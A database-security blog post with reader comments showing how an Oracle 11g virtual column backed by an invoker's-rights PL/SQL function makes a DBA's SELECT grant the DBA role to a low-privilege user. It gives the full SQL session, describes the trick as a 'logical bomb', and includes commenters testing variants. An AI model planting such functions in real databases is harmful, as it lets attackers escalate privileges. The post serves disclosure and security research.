Dangers of Oracle Virtual Columns
Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too.
What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user "JOXEAN", like in the following sample:
-
User created.
-
-
SQL> GRANT connect, resource TO joxean;
-
GRANT succeeded.
-
-
SQL> conn joxean/joxean
-
Connected.
-
SQL> CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
-
RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
-
AS
-
PRAGMA AUTONOMOUS_TRANSACTION;
-
BEGIN
-
EXECUTE IMMEDIATE 'grant dba to joxean';
-
RETURN '1';
-
END F1;
-
/
-
FUNCTION created.
-
-
SQL> CREATE TABLE t2
-
(
-
col1 VARCHAR2(50),
-
col2 generated always AS (f1('asdf')) virtual
-
);
-
TABLE created.
-
-
SQL> SELECT * FROM t2;
-
no rows selected
-
-
SQL> INSERT INTO t2 (col1) VALUES ( 'a' );
-
1 row created.
-
-
SQL> commit;
-
Commit complete.
-
-
SQL> SELECT * FROM t2;
-
SELECT * FROM t2
-
*
-
ERROR at line 1:
-
ORA-01031: insufficient privileges
-
ORA-06512: at "JOXEAN.F1", line 6
-
-
SQL> SELECT * FROM user_role_privs;
-
-
USERNAME GRANTED_ROLE ADM DEF OS_
-
------------------------------ ------------------------------ --- --- ---
-
JOXEAN CONNECT NO YES NO
-
JOXEAN RESOURCE NO YES NO
-
-
SQL> conn / AS sysdba
-
Connected.
-
SQL> SELECT * FROM joxean.t2;
-
-
COL1 COL2
-
----- -----
-
a 1
-
-
SQL> SELECT * FROM dba_role_privs WHERE grantee = 'JOXEAN';
-
-
GRANTEE GRANTED_ROLE ADM DEF
-
------------------------------ ------------------------------ --- ---
-
JOXEAN RESOURCE NO YES
-
JOXEAN DBA NO YES
-
JOXEAN CONNECT NO YES
While it isn't a big issue it can be used as a "logical bomb" by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table 
Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table... But this is another history
April 29th, 2012 - 03:41
Very interesting and cool to know this, thanks.
I’m just thinking whether the stats collection job would perform a select against the table so you might not even need a DBA to manually select it?
Just theorizing if the stats collection doesn’t ignore virtual columns.
April 29th, 2012 - 06:47
In the tests I did, it didn’t worked, unfortunately
However, I think that it should work for exports and other ways.
April 30th, 2012 - 13:00
Hi Joxean,
This blog post was referenced by a reader on Tom Kyte’s site. In the following URL, you will find the URL to this blog asked by a reader. The reader pasted this blogs URL in and asked Tom’s opinion on what you wrote here, http://asktom.oracle.com/pls/apex/f?p=100:11:0::::P11_QUESTION_ID:676611400346196844
Tom Kyte answered that question about this blog. Maybe you would want to join in the conversation by replying on that AskTom URL?
April 30th, 2012 - 13:20
Gathering stats didn’t set off your logic bomb because the function is deterministic and you passed in a constant parameter. If you had used
CREATE TABLE t2
(
col1 VARCHAR2(50),
col2 generated always AS (f1(col1)) virtual
);
instead, I believe it would have worked.
April 30th, 2012 - 13:26
Actually, seems to work either way on my system — as long as there is data in the table.
April 30th, 2012 - 13:42
@Galen
AskTom is correct: it isn’t that different to selecting data from a view. But, I had to try to find if privileges where not correctly handled for virtual columns.
@Matt
Interesting… Are you sure it works for you? I mean, do you scalate privileges by running DBMS_STATS.GATHER_STATS or the like? If your answer is yes, well, we have a new 0day
April 30th, 2012 - 15:44
No, my test was flawed.. In fact, I cannot use this method to do anything I shouldn’t be able to do. I cannot, for example, even insert into a table owned by the querying user.
When the privileged user selects the virtual column, SYS_CONTEXT(‘USERENV’,'CURRENT_USER’) is the table owner, not the privileged user. It behaves just like an invoker’s rights function invoked via a view, in that respect.
I’m on 11.2.0.1.
April 30th, 2012 - 15:47
What does this query return on your system?
select * from dba_sys_privs
where grantee = ‘JOXEAN’
order by 2